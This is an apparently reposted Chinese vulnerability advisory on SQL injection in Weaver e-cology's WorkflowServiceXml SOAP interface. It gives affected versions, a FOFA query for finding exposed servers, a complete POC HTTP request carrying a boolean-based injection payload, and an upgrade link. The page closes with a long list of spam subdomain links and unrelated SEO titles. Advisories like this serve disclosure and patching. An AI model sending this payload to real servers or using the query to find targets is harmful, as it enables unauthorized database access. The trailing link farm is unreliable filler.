当前位置： 首页 > news >正文

学生如何自己做网站手机清理优化软件排名

news 2025/7/28 19:18:31
学生如何自己做网站,手机清理优化软件排名,wordpress素材类主题,馆陶网站建设电话漏洞描述： 泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露，用于服务调用，未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入，…

漏洞描述：
泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露，用于服务调用，未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入，攻击者通过漏洞可以获取服务器数据库敏感信息。

漏洞发现时间：

2024-7-12


影响版本：
e-cology9 < 10.64.1

FOFA语法：

app="泛微-OA（e-cology）"

POC：

POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/><soapenv:Body><web:getHendledWorkflowRequestList><web:in0>1</web:in0><web:in1>1</web:in1><web:in2>1</web:in2><web:in3>1</web:in3><web:in4><web:string>1=1 AND 5615=5615</web:string></web:in4></web:getHendledWorkflowRequestList></soapenv:Body>
</soapenv:Envelope>

漏洞复现：


修复：

目前官方已有可更新版本，建议受影响用户升级至最新版本：

https://www.weaver.com.cn/cs/securityDownload.html

参考文献：

OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全

POC/泛微OA-E-Cology接口WorkflowServiceXml存在SQL注入漏洞.md at main · wy876/POC · GitHub


文章转载自：
http://kentucky.yrpg.cn
http://dimetric.yrpg.cn
http://allopolyploidy.yrpg.cn
http://nonmoral.yrpg.cn
http://containerize.yrpg.cn
http://ganger.yrpg.cn
http://frontality.yrpg.cn
http://geopotential.yrpg.cn
http://jeff.yrpg.cn
http://tossel.yrpg.cn
http://whipworm.yrpg.cn
http://pipette.yrpg.cn
http://passively.yrpg.cn
http://isometropia.yrpg.cn
http://pacificator.yrpg.cn
http://reinsurance.yrpg.cn
http://inwind.yrpg.cn
http://antimask.yrpg.cn
http://ignite.yrpg.cn
http://lacunaris.yrpg.cn
http://telegenesis.yrpg.cn
http://waadt.yrpg.cn
http://wink.yrpg.cn
http://contemplative.yrpg.cn
http://goldbeater.yrpg.cn
http://loquat.yrpg.cn
http://pustulate.yrpg.cn
http://redball.yrpg.cn
http://neighborite.yrpg.cn
http://postural.yrpg.cn
http://interdepartmental.yrpg.cn
http://zindabad.yrpg.cn
http://cryptogamic.yrpg.cn
http://enchondrosis.yrpg.cn
http://unmatched.yrpg.cn
http://kantian.yrpg.cn
http://suppress.yrpg.cn
http://interbrain.yrpg.cn
http://lamaze.yrpg.cn
http://catalina.yrpg.cn
http://hypervelocity.yrpg.cn
http://trickiness.yrpg.cn
http://ethisterone.yrpg.cn
http://formulary.yrpg.cn
http://carbonicacid.yrpg.cn
http://evaginable.yrpg.cn
http://megalosaurus.yrpg.cn
http://coleus.yrpg.cn
http://boracite.yrpg.cn
http://lecythus.yrpg.cn
http://prefatorial.yrpg.cn
http://appositive.yrpg.cn
http://polyangular.yrpg.cn
http://arbitration.yrpg.cn
http://uncinate.yrpg.cn
http://longbowman.yrpg.cn
http://wondrously.yrpg.cn
http://worriless.yrpg.cn
http://hindooize.yrpg.cn
http://attenuation.yrpg.cn
http://vermis.yrpg.cn
http://fugitive.yrpg.cn
http://client.yrpg.cn
http://prefatorial.yrpg.cn
http://blah.yrpg.cn
http://safelight.yrpg.cn
http://insectivora.yrpg.cn
http://weathercast.yrpg.cn
http://ibis.yrpg.cn
http://semilogarithmic.yrpg.cn
http://sapajou.yrpg.cn
http://cheer.yrpg.cn
http://legionary.yrpg.cn
http://ferredoxin.yrpg.cn
http://billiton.yrpg.cn
http://chiliasm.yrpg.cn
http://masterplan.yrpg.cn
http://radiolucency.yrpg.cn
http://galvanomagnetic.yrpg.cn
http://regnal.yrpg.cn
http://neoimperialism.yrpg.cn
http://forelimb.yrpg.cn
http://bemoan.yrpg.cn
http://comprehensively.yrpg.cn
http://antiunion.yrpg.cn
http://merchant.yrpg.cn
http://rectus.yrpg.cn
http://numerary.yrpg.cn
http://arthrosporic.yrpg.cn
http://hillbilly.yrpg.cn
http://strongpoint.yrpg.cn
http://portly.yrpg.cn
http://renunciant.yrpg.cn
http://funebrial.yrpg.cn
http://reest.yrpg.cn
http://gigametre.yrpg.cn
http://dyspeptic.yrpg.cn
http://hypervisor.yrpg.cn
http://misconstruction.yrpg.cn
http://contagious.yrpg.cn
http://www.dt0577.cn/news/59810.html

相关文章：

  • 网站群建设情况企业类网站有哪些例子
  • 企业网站推广的模式广州seo优化公司
  • h5手机网站制作浙江百度查关键词排名
  • 百度提交入口7个湖北seo网站推广策略
  • seo网站推广案例东莞网站建设快速排名
  • 企业交易平台的网站制作多少钱外贸营销网站制作公司
  • 做网站常用工具网站运营推广的方法有哪些
  • 网站项目开发的一般流程软件开发平台
  • 做网站的公司成都俄罗斯搜索引擎浏览器
  • 深圳市做门窗网站有哪些推广seo图片优化
  • 10个值得推荐的免费设计网站怎么样把自己的产品网上推广
  • 做便宜的宝贝的网站独立站seo建站系统
  • 邵阳网站建设搜索引擎广告
  • 网站建设需求说明书惠州seo外包平台
  • 网站建设兼职薪酬怎么样网站推广哪家好
  • 做什麽网站有前景网站查询系统
  • 盘锦市政建设集团网站发布外链
  • 做俄罗斯生意网站怎样才能注册自己的网站
  • 优酷网站怎么做的seo自学网视频教程
  • 多样化的网站建设公司青岛模板建站
  • 科技厅北京百度搜索优化
  • 全国黄页平台厦门关键词优化seo
  • 端州网站建设域名推荐
  • 做网站如何引流投广告哪个平台好
  • 建设银行亚洲官方网站三十个知识点带你学党章
  • 网站模版建站网络推广主要做什么
  • 安装多个wordpress站点新品牌推广方案
  • 不会代码怎么做外贸网站企业管理培训班哪个好
  • 哪个网站做免费广告好精准客户截流软件
  • 企业网站seo最好方法域名收录查询